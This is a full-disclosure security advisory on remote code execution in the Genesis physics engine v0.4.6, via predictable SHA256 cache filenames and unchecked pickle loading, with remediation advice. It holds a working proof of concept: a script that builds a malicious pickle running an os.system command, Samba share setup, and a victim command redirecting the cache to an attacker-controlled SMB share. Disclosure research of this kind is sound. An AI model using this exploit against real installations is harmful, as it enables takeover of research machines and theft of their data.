Full Disclosure ID: HA-2026-00161

Genesis - Version 0.4.6 / Remote Code Execution (RCE) via Insecure Deserialization based on sink pickle.load and Global Cache Poisoning via Predictable Asset Hashing (SHA256)

JP
Joshua Provoste Security Researcher
Published June 01, 2026
Severity 9.8 (CRITICAL)
Target Genesis-World / Embodied AI Simulators

Below are one (1) way to reproduce RCE in Genesis using an SMB share controlled by an attacker, without local intervention by a third party to modify files that allow code execution during the deserialization process.

For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).

Note: While this vulnerability is specifically verified and reported on version 0.4.6, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.

Introduction

Genesis Global Cache Poisoning Architecture

The Genesis physics engine (also distributed as genesis-world) is a powerful, next-generation simulator designed for robotics, embodied AI, and physical simulation research. It is widely adopted by AI laboratories and research institutions to train autonomous agents in simulated physics environments, handling complex geometry processing, tetrahedralization, and particle dynamics.

To accelerate computationally expensive remeshing and geometry processing tasks, the engine utilizes a global cache system that speeds up repetitive simulation setups. However, when performance optimizations rely on deterministic and predictable state retrieval without verifying resource authenticity, the security boundaries of shared computing clusters, automated training pipelines, and researcher workstations become highly vulnerable to unauthenticated remote exploitation.

Vulnerability description

The genesis-world physics engine exhibits a systemic insecure deserialization architecture. The framework utilizes a global, shared cache directory for expensive operations such as remeshing (.rm), tetrahedralization (.tet), and particle sampling (.ptc). By design, the system trusts any file found in these directories if the filename matches a deterministic SHA256 hash of the input asset.

Since the hashing algorithm is deterministic and public, an attacker can pre-calculate the cache filename (SHA256) for a specific mesh and place a malicious file in the global cache directory.

The vulnerable code in genesis/engine/mesh.py:

Python (mesh.py) Vulnerable Sink
rm_file_path = mu.get_remesh_path(self.verts, self.faces, edge_len_abs, edge_len_ratio, fix)

is_cached_loaded = False
if os.path.exists(rm_file_path):
    gs.logger.debug("Remeshed file (`.rm`) found in cache.")
    try:
        with open(rm_file_path, "rb") as file:
            verts, faces = pkl.load(file) # <-- VULNERABLE SINK (Insecure Deserialization)
        is_cached_loaded = True

Technical Impact Analysis

Project Purpose & Context

Genesis is a powerful physics engine designed for robotics, AI, and large-scale simulation. It is widely used in research environments to train embodied AI agents. The project handles complex geometry processing which requires high-performance optimizations, such as the caching mechanism identified as the primary attack vector.

Platform & Deployment Environment

The engine is primarily deployed on high-performance workstations, shared HPC (High-Performance Computing) clusters (e.g., Slurm environments), and AI training pipelines. It is often used in collaborative research where multiple users share data and computational resources.

Comprehensive Risk Assessment

The vulnerability represents a Critical risk as it allows for Remote Code Execution (RCE) without direct user interaction or local file write requirements. The deterministic nature of asset hashing combined with the ability to redirect cache paths via environment variables (GS_CACHE_FILE_PATH) enables an attacker to move laterally across shared environments or compromise systems remotely via SMB redirection.

Attack Scenario

The attack exploits the trust boundary between asset loading and cache retrieval. An attacker can provide a victim with a seemingly harmless 3D mesh (e.g., a cube.obj file). When the victim's script processes this mesh, the Genesis engine calculates a predictable SHA256 hash and looks for a corresponding .rm file in the cache directory. If the attacker has pre-positioned a malicious pickle payload or redirected the cache path to an attacker-controlled SMB share, the engine will deserialize and execute the malicious code.

Who wants to exploit a particular vulnerability?

  1. Malicious Researchers: To steal simulation data or computational resources from other users on shared HPC nodes.
  2. Adversarial AI Actors: To poison training datasets or hijack the execution environment of automated simulation pipelines.

For what gain?

The primary gain is full Remote Code Execution (RCE) on the victim machine. This allows for data theft (simulation results, intellectual property), lateral movement within the network (HPC clusters), and persistence in AI research infrastructure.

In what way?

By exploiting the predictable asset hashing (SHA256) and the lack of signature verification in the caching mechanism. This allows for Global Cache Poisoning and UNC Cache Redirection.

Reproduction steps

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90

Shared Resource Configuration (SMB):

1. Install Samba: sudo apt update && sudo apt install samba samba-common-bin -y.
2. Prepare the attack directory:

mkdir ~/lab_attack
chmod 755 /home/kw0
chmod -R 777 ~/lab_attack

3. Configure Samba: Add to the end of /etc/samba/smb.conf:

[lab_share]
path = /home/kw0/lab_attack
read only = no
guest ok = yes

Payload Generation on the Raspberry: Run the specialized exploit.py script to generate the .rm file directly in the shared path:

exploit.py
import hashlib, marshal, os, pickle, numpy as np, trimesh

# 1. Configuración
GS_VERSION = "0.4.6"
target_smb_path = "/home/kw0/lab_attack/rm"

# 2. Geometría Real
verts = np.array([[0,0,0],[1,0,0],[1,1,0],[0,1,0],[0,0,1],[1,0,1],[1,1,1],[0,1,1]], dtype=np.float32)
faces = np.array([[0,1,2],[0,2,3],[4,5,6],[4,6,7],[0,4,7],[0,7,3],[1,5,6],[1,6,2],[0,1,5],[0,5,4],[2,3,7],[2,7,6]], dtype=np.int32)
trimesh.Trimesh(verts, faces, process=False).export('cube.obj')
m = trimesh.load('cube.obj', process=False)

target_hash = hashlib.sha256(bytes(memoryview(m.vertices)) + bytes(memoryview(m.faces)) + marshal.dumps(None) + marshal.dumps(0.01) + marshal.dumps(True) + GS_VERSION.encode()).hexdigest()

cmd_rce = "__import__('os').system('calc.exe')"
# Devolvemos una tupla (vertices, caras) reales
payload_logic = f"{cmd_rce} or (__import__('numpy').array({m.vertices.tolist()}, 'float32'), __import__('numpy').array({m.faces.tolist()}, 'int32'))"

payload = b"cbuiltins\neval\n(S\"" + payload_logic.encode() + b"\"\ntR."

os.makedirs(target_smb_path, exist_ok=True)
with open(f"{target_smb_path}/{target_hash}.rm", "wb") as f: f.write(payload)

print(f"[*] Exploit INVISIBLE generado: {target_hash}")
python exploit.py
Payload generation console

On Windows (victim) - IP 192.168.1.88

(.venv) PS L:\Deserializer\PYPI-genesis-world> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88

1. Create a .venv, activate it, and install the latest updated version (0.4.6) of Genesis using pip install genesis-world.
2. Enable the SMB share: net use Z: \\192.168.1.90\lab_share /persistent:no.
3. Generate a predictable SHA256 cube using the helper script cube.py:

cube.py
import trimesh
import numpy as np

# Geometría idéntica a la usada en el Paso 1
verts = np.array([[0,0,0],[1,0,0],[1,1,0],[0,1,0],[0,0,1],[1,0,1],[1,1,1],[0,1,1]], dtype=np.float32)
faces = np.array([[0,1,2],[0,2,3],[4,5,6],[4,6,7],[0,4,7],[0,7,3],[1,5,6],[1,6,2],[0,1,5],[0,5,4],[2,3,7],[2,7,6]], dtype=np.int32)

# IMPORTANTE: process=False para evitar que trimesh altere la geometría
mesh = trimesh.Trimesh(vertices=verts, faces=faces, process=False)
mesh.export('cube.obj')
print("[*] Archivo cube.obj generado con éxito.")
python cube.py

4. And then launch the service to trigger the RCE:

python -c "import os; os.environ['GS_CACHE_FILE_PATH']=r'\\192.168.1.90\lab_share'; import genesis as gs; gs.init(backend=gs.cpu); gs.Mesh.from_morph_surface(gs.morphs.Mesh(file='cube.obj'))[0].remesh(); print('\n[+] Proceso finalizado.')"
RCE confirmation pop

Executive Summary: RCE via Deterministic Cache Poisoning and Insecure Deserialization in Genesis

The research documents a critical Remote Code Execution (RCE) vulnerability in the Genesis engine (v0.4.6), which is exploited by leveraging the engine's deterministic asset hashing mechanism to perform global cache poisoning.

  • Root Cause: The engine implements a caching system for costly geometry operations (like remeshing) that relies on a deterministic SHA256 hash of the input mesh data. Crucially, the engine uses pickle.load() to deserialize the cached .rm (remeshed) files without any integrity verification or signature checking.
  • Exploitation Mechanism: An attacker can pre-calculate the SHA256 hash of any target mesh asset. By hosting a malicious pickle payload under the corresponding hash-based filename within a shared or redirected cache directory (e.g., via GS_CACHE_FILE_PATH and SMB/UNC shares), the attacker forces the engine to execute arbitrary code the moment it attempts to "load" the cached asset.

Analysis of Scope and Security Implications

This vulnerability is of critical severity as it allows for RCE without requiring the victim to open a specific malicious file, as the cache mechanism triggers implicitly during routine engine operations.

1. Infection Scenarios

  • Global Cache Poisoning: In shared research environments (e.g., HPC clusters, laboratory workstations), an attacker can poison the global cache folder. Once poisoned, every user who processes a standard mesh will trigger the RCE, facilitating massive-scale compromise.
  • UNC/SMB Redirection: By manipulating the GS_CACHE_FILE_PATH environment variable, an attacker can force the engine to fetch cache files from an attacker-controlled remote SMB share. This allows for RCE on air-gapped or restricted systems if they are configured to trust network-based cache storage.

2. Factors Exacerbating Risk

  • Deterministic Hashing: Because the hashing algorithm is predictable and does not use a secret key (HMAC), any actor with access to the same input geometry can pre-calculate the required filenames for exploitation.
  • Trust in Cached Data: The engine treats all files found in the cache directory as trusted, which is a significant architectural flaw in a system designed for high-performance, distributed simulation.

Conclusion and Recommendation

This is a critical-severity vulnerability. The combination of deterministic asset hashing and the use of pickle as a serialization sink creates a direct path for complete system takeover in AI simulation pipelines.

Suggested actions for the development team:

  1. Eliminate Pickle: Immediately replace pickle.load() with a secure, non-executable serialization format, such as Protobuf or schema-validated JSON, for all cached data.
  2. Implement Integrity Signatures: If serialization must be complex, implement mandatory cryptographic signing (HMAC-SHA256) for all files written to the cache. The engine should verify this signature before any attempt to deserialize the file.
  3. Restrict Path Resolution: Sanitize the GS_CACHE_FILE_PATH variable to prevent traversal or resolution to untrusted network locations (UNC/SMB shares).